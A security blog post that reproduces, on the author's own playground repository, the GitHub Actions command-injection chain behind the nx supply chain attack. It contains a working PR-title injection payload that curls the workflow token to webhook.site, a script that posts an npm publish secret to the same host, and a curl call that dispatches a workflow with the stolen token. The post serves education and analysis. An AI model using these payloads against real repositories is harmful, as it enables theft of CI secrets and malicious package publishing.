I read the post mortem analysis of the nx S1ngularity supply chain attack and found the attack vector quite interesting. In this post, I will explain how to reproduce the first steps (though I am not 100% sure if this is exactly what happened).
When using Gihtub workflows, Github injects a temporary access token GITHUB_TOKEN
in the workflow runner.
Before 2023, this token had read/write permissions per default.
The default setting changed - but older repositories still have the read/write permissions. This happened to the nx repo.
In Github repo settings, it’s possible to configure this behaviour:
The Github token is available with following string in the workflow:
${{ secrets.GITHUB_TOKEN }}
Note that it is not automatically injected as environmental variable and not directly accessible in shell.
However, it can be retrieved using git config --get-all http.https://github.com/.extraheader
, because Github automatically injects credentials into the repo’s config when using actions/checkout.
In this context, the result of the command above will show the base64 encoded token:
AUTHORIZATION: basic ********
Notes:
The nx team introduced a Github workflow called pr-title-validation.yml with a command injection vulnerability via PR title:
- name: Validate PR title
run: |
echo "Validating PR title: ${{ github.event.pull_request.title }}"
node ./scripts/commit-lint.js /tmp/pr-message.txt
The team fixed the command injection vulnerability - but not in all branches.
The vulnerable workflow used pull_request_target
as trigger, which runs with the permissions of the target branch (not the fork) and can access repository secrets:
on:
pull_request:
types: [opened, edited, synchronize, reopened]
pull_request_target:
types: [opened, edited, synchronize, reopened]
There is a warning in the Github documentation related to this.
In this section we will reproduce the attack vector on a playground repo.
I set up a playground Github account and repo with a simple Hello world npm app. It has two branches: main
and test
.
To simulate the nx repo behaviour, I added two workflows:
pr-title.yaml
with the command injection vulnerability.publish.yaml
the fake publish workflow with a Github secret TEST_SECRET
(this simulates the npm publish token).I then removed the pr-title.yaml
workflow from the main
branch to simulate the fix, but not from the test
branch.
An attacker can fork the repo and modify e.g., the index.ts
source within the test
branch (not from main
).
Then a PR is created with following title:
Update index.ts" & curl -X POST -d "$(git config --get-all http.https://github.com/.extraheader)" https://webhook.site/x & sleep 300 #
This title will trigger the command injection and exfiltrate the Github token to webhook:
It can be decoded:
Note that I added a sleep 300
command to have enough time to use the temporary token.
The exfiltrated Github token does not have write permission for workflows.
However, the publish.yaml
workflow calls a script /scripts/publish-resolve-data.js
within the repo, which can be modified:
jobs:
demo-publish:
runs-on: ubuntu-latest
env:
NODE_AUTH_TOKEN: ${{ secrets.TEST_SECRET }}
steps:
- name: Checkout repo
uses: actions/checkout@v4
- name: Setup Node
uses: actions/setup-node@v4
with:
node-version: 20
- name: Resolve data via github-script
uses: actions/github-script@v7
with:
script: |
const script = require('${{ github.workspace }}/scripts/publish-resolve-data.js');
await script({ github, context, core });
Note that NODE_AUTH_TOKEN
is available as environmental variable during script execution.
Following steps have to be executed by the attacker:
test
branchattacker
branch from the test
branch/scripts/publish-resolve-data.js
with the exfiltration script:module.exports = async ({ github, context, core }) => {
const token = process.env.NODE_AUTH_TOKEN || "(missing)";
const payload = JSON.stringify({ note: "demo-only payload", token });
try {
const res = await fetch("https://webhook.site/x", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: payload,
});
core.info(`Local POST status: ${res.status}`);
if (!res.ok) throw new Error(`HTTP ${res.status}`);
} catch (e) {
core.setFailed(`Local POST failed: ${e.message}`);
throw e; // make the step fail
}
};
attacker
new branch using the Github token retrieved in the previous sectionpublish.yaml
workflow manually via Github API - using the same token:curl -X POST \
-H "Accept: application/vnd.github+json" \
-H "Authorization: Bearer ghs_x" \
https://api.github.com/repos/justasimpletest214/mynpm/actions/workflows/publish.yaml/dispatches \
-d '{"ref":"attacker"}'
This is possible because the trigger workflow_dispatch
is used:
on:
workflow_dispatch:
Then the secret is exfiltrated:
For nx, the npm token was a publish token presumably without 2FA activated, therefore the attacker could publish a malicious version of the app.
After the initial command injection vulnerability, the attacker exploited Github specific insecure workflow configurations in the nx repo, to get the final npm publish token. Feel free to copy my playground repo (the token does not have read/write permissions, you have to set your own repo ;-) and reproduce the exploit for educational purposes only.